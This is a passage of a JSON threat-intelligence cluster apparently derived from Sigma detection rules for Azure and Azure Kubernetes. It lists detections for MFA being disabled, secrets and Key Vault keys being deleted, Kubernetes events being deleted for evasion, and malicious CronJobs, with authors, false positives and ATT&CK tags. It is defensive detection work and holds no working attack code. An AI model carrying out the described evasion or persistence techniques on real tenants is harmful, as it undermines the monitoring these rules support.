"https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" ], "tags": [ "attack.impact" ] }, "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", "value": "Azure Kubernetes Secret or Config Object Access" }, { "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/06/02", "falsepositive": [ "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." ], "filename": "azure_app_uri_modifications.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" ], "tags": [ "attack.t1528", "attack.persistence", "attack.credential_access" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", "value": "Application URI Configuration Changes" }, { "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_role_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" ], "tags": [ "attack.impact" ] }, "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", "value": "Azure Kubernetes Sensitive Role Access" }, { "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/16", "falsepositive": [ "Key being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_keyvault_key_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.credential_access", "attack.t1552", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "80eeab92-0979-4152-942d-96749e11df40", "value": "Azure Keyvault Key Modified or Deleted" }, { "description": "Identifies when a VPN connection is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_vpn_connection_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", "value": "Azure VPN Connection Modified or Deleted" }, { "description": "Detect failed authentications from countries you do not operate out of.", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/07/28", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", "value": "Failed Authentications From Countries You Do Not Operate Out Of" }, { "description": "Detects when a configuration change is made to an applications AppID URI.", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/06/02", "falsepositive": [ "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." ], "filename": "azure_app_appid_uri_changes.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" ], "tags": [ "attack.t1528", "attack.persistence", "attack.credential_access" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", "value": "Application AppID Uri Configuration Changes" }, { "description": "Detects when a Container Registry is created or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_container_registry_created_or_deleted.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", "value": "Azure Container Registry Created or Deleted" }, { "description": "Detect failed attempts to sign in to disabled accounts.", "meta": { "author": "AlertIQ", "creation_date": "2021/10/10", "falsepositive": [ "Unknown" ], "filename": "azure_login_to_disabled_account.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" ], "tags": [ "attack.initial_access", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", "value": "Login to Disabled Account" }, { "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_events_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562", "attack.t1562.001" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", "value": "Azure Kubernetes Events Deleted" }, { "description": "User Added to an Administrator's Azure AD Role", "meta": { "author": "Raphaël CALVET, @MetallicHack", "creation_date": "2021/10/04", "falsepositive": [ "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." ], "filename": "azure_ad_user_added_to_admin_role.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" ], "tags": [ "attack.persistence", "attack.t1098.003" ] }, "related": [ { "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", "value": "User Added to an Administrator's Azure AD Role" }, { "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/22", "falsepositive": [ "Azure Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_cronjob.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" ], "tags": [ "attack.persistence", "attack.t1053.003", "attack.privilege_escalation", "attack.execution" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", "value": "Azure Kubernetes CronJob" }, { "description": "Detects guest users being invited to tenant by non-approved inviters", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/07/28", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", "value": "Guest Users Invited To Tenant By Non Approved Inviters" }, { "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/09", "falsepositive": [ "Actual admin using PIM." ], "filename": "azure_pim_activation_approve_deny.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1078" ] }, "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", "value": "PIM Approvals And Deny Elevation" }, { "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.credential_access" ] }, "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted" }, { "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/28", "falsepositive": [ "When the permission is legitimately needed for the app" ], "filename": "azure_app_delegated_permissions_all_users.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", "value": "Delegated Permissions Granted For All Users" }, { "description": "Detects when app permissions (app roles) for other APIs are granted", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/28", "falsepositive": [ "When the permission is legitimately needed for the app" ], "filename": "azure_app_permissions_for_api.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", "value": "App Permissions Granted For Other APIs" }, { "description": "Identifies when a firewall is created, modified, or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_firewall_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", "value": "Azure Firewall Modified or Deleted" }, { "description": "Detects risky authencaition from a non AD registered device without MFA being required.", "meta": { "author": "Harjot Singh, '@cyb3rjy0t'", "creation_date": "2023/01/10", "falsepositive": [ "Unknown" ], "filename": "azure_ad_risky_sign_ins_with_singlefactorauth_from_unknown_devices.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_risky_sign_ins_with_singlefactorauth_from_unknown_devices.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "572b12d4-9062-11ed-a1eb-0242ac120002", "value": "Suspicious SignIns From A Non Registered Device" }, { "description": "Identifies when DNS zone is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_dns_zone_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1565.001" ] }, "related": [ { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "af6925b0-8826-47f1-9324-337507a0babd", "value": "Azure DNS Zone Modified or Deleted" }, { "description": "Identifies when a Virtual Network is modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_virtual_network_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", "value": "Azure Virtual Network Modified or Deleted" }, { "description": "Monitor and alert for changes to the device registration policy.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_device_registration_policy_changes.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1484" ] }, "related": [ { "dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", "value": "Changes to Device Registration Policy" }, { "description": "Detect when users are authenticating without MFA being required.", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/07/27", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_ad_only_single_factor_auth_required.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" ], "tags": [ "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", "value": "Azure AD Only Single Factor Authentication Required" }, { "description": "Monitor and alert for sign-ins where the device was non-compliant.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", "value": "Sign-ins from Non-Compliant Devices" }, { "description": "Detects when a new admin is created.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", "creation_date": "2022/08/11", "falsepositive": [ "A legitimate new admin account being created" ], "filename": "azure_privileged_account_creation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", "value": "Privileged Account Creation" }, { "description": "Identifies when a device in azure is no longer managed or compliant", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/03", "falsepositive": [ "Administrator may have forgotten to review the device." ], "filename": "azure_device_no_longer_managed_or_compliant.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" ], "tags": [ "attack.impact" ] }, "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", "value": "Azure Device No Longer Managed or Compliant" }, { "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", "meta": { "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", "creation_date": "2022/08/04", "falsepositive": [ "User removed from the group is approved" ], "filename": "azure_group_user_removal_ca_modification.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", "value": "User Removed From Group With CA Policy Modification Access" }, { "description": "Detects when there is a interruption in the authentication process.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "azure_unusual_authentication_interruption.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "8366030e-7216-476b-9927-271d79f13cf3", "value": "Azure Unusual Authentication Interruption" }, { "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", "meta": { "author": "@ionsor", "creation_date": "2022/02/08", "falsepositive": [ "Authorized modification by administrators" ], "filename": "azure_mfa_disabled.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" ], "tags": [ "attack.persistence", "attack.t1556" ] }, "related": [ { "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", "value": "Disabled MFA to Bypass Authentication Mechanisms" }, { "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", "meta": { "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", "creation_date": "2022/06/01", "falsepositive": [ "Applications that are input constrained will need to use device code flow and are valid authentications." ], "filename": "azure_app_device_code_authentication.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" ], "tags": [ "attack.t1078", "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation", "attack.initial_access" ] }, "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", "value": "Application Using Device Code Authentication Flow" }, { "description": "Detects when end user consent is blocked due to risk-based consent.", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/10", "falsepositive": [ "Unknown" ], "filename": "azure_app_end_user_consent_blocked.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "7091372f-623c-4293-bc37-20c32b3492be", "value": "End User Consent Blocked" }, { "description": "Detects when an account is disabled or blocked for sign in but tried to log in", "meta": { "author": "Yochana Henderson, '@Yochana-H'", "creation_date": "2022/06/17", "falsepositive": [ "Account disabled or blocked in error", "Automation account has been blocked or disabled" ], "filename": "azure_blocked_account_attempt.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", "value": "Account Disabled or Blocked for Sign in Attempts" }, { "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", "value": "Azure Point-to-site VPN Modified or Deleted" }, { "description": "Identifies when secrets are modified or deleted in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/16", "falsepositive": [ "Secrets being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_keyvault_secrets_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.credential_access", "attack.t1552", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ 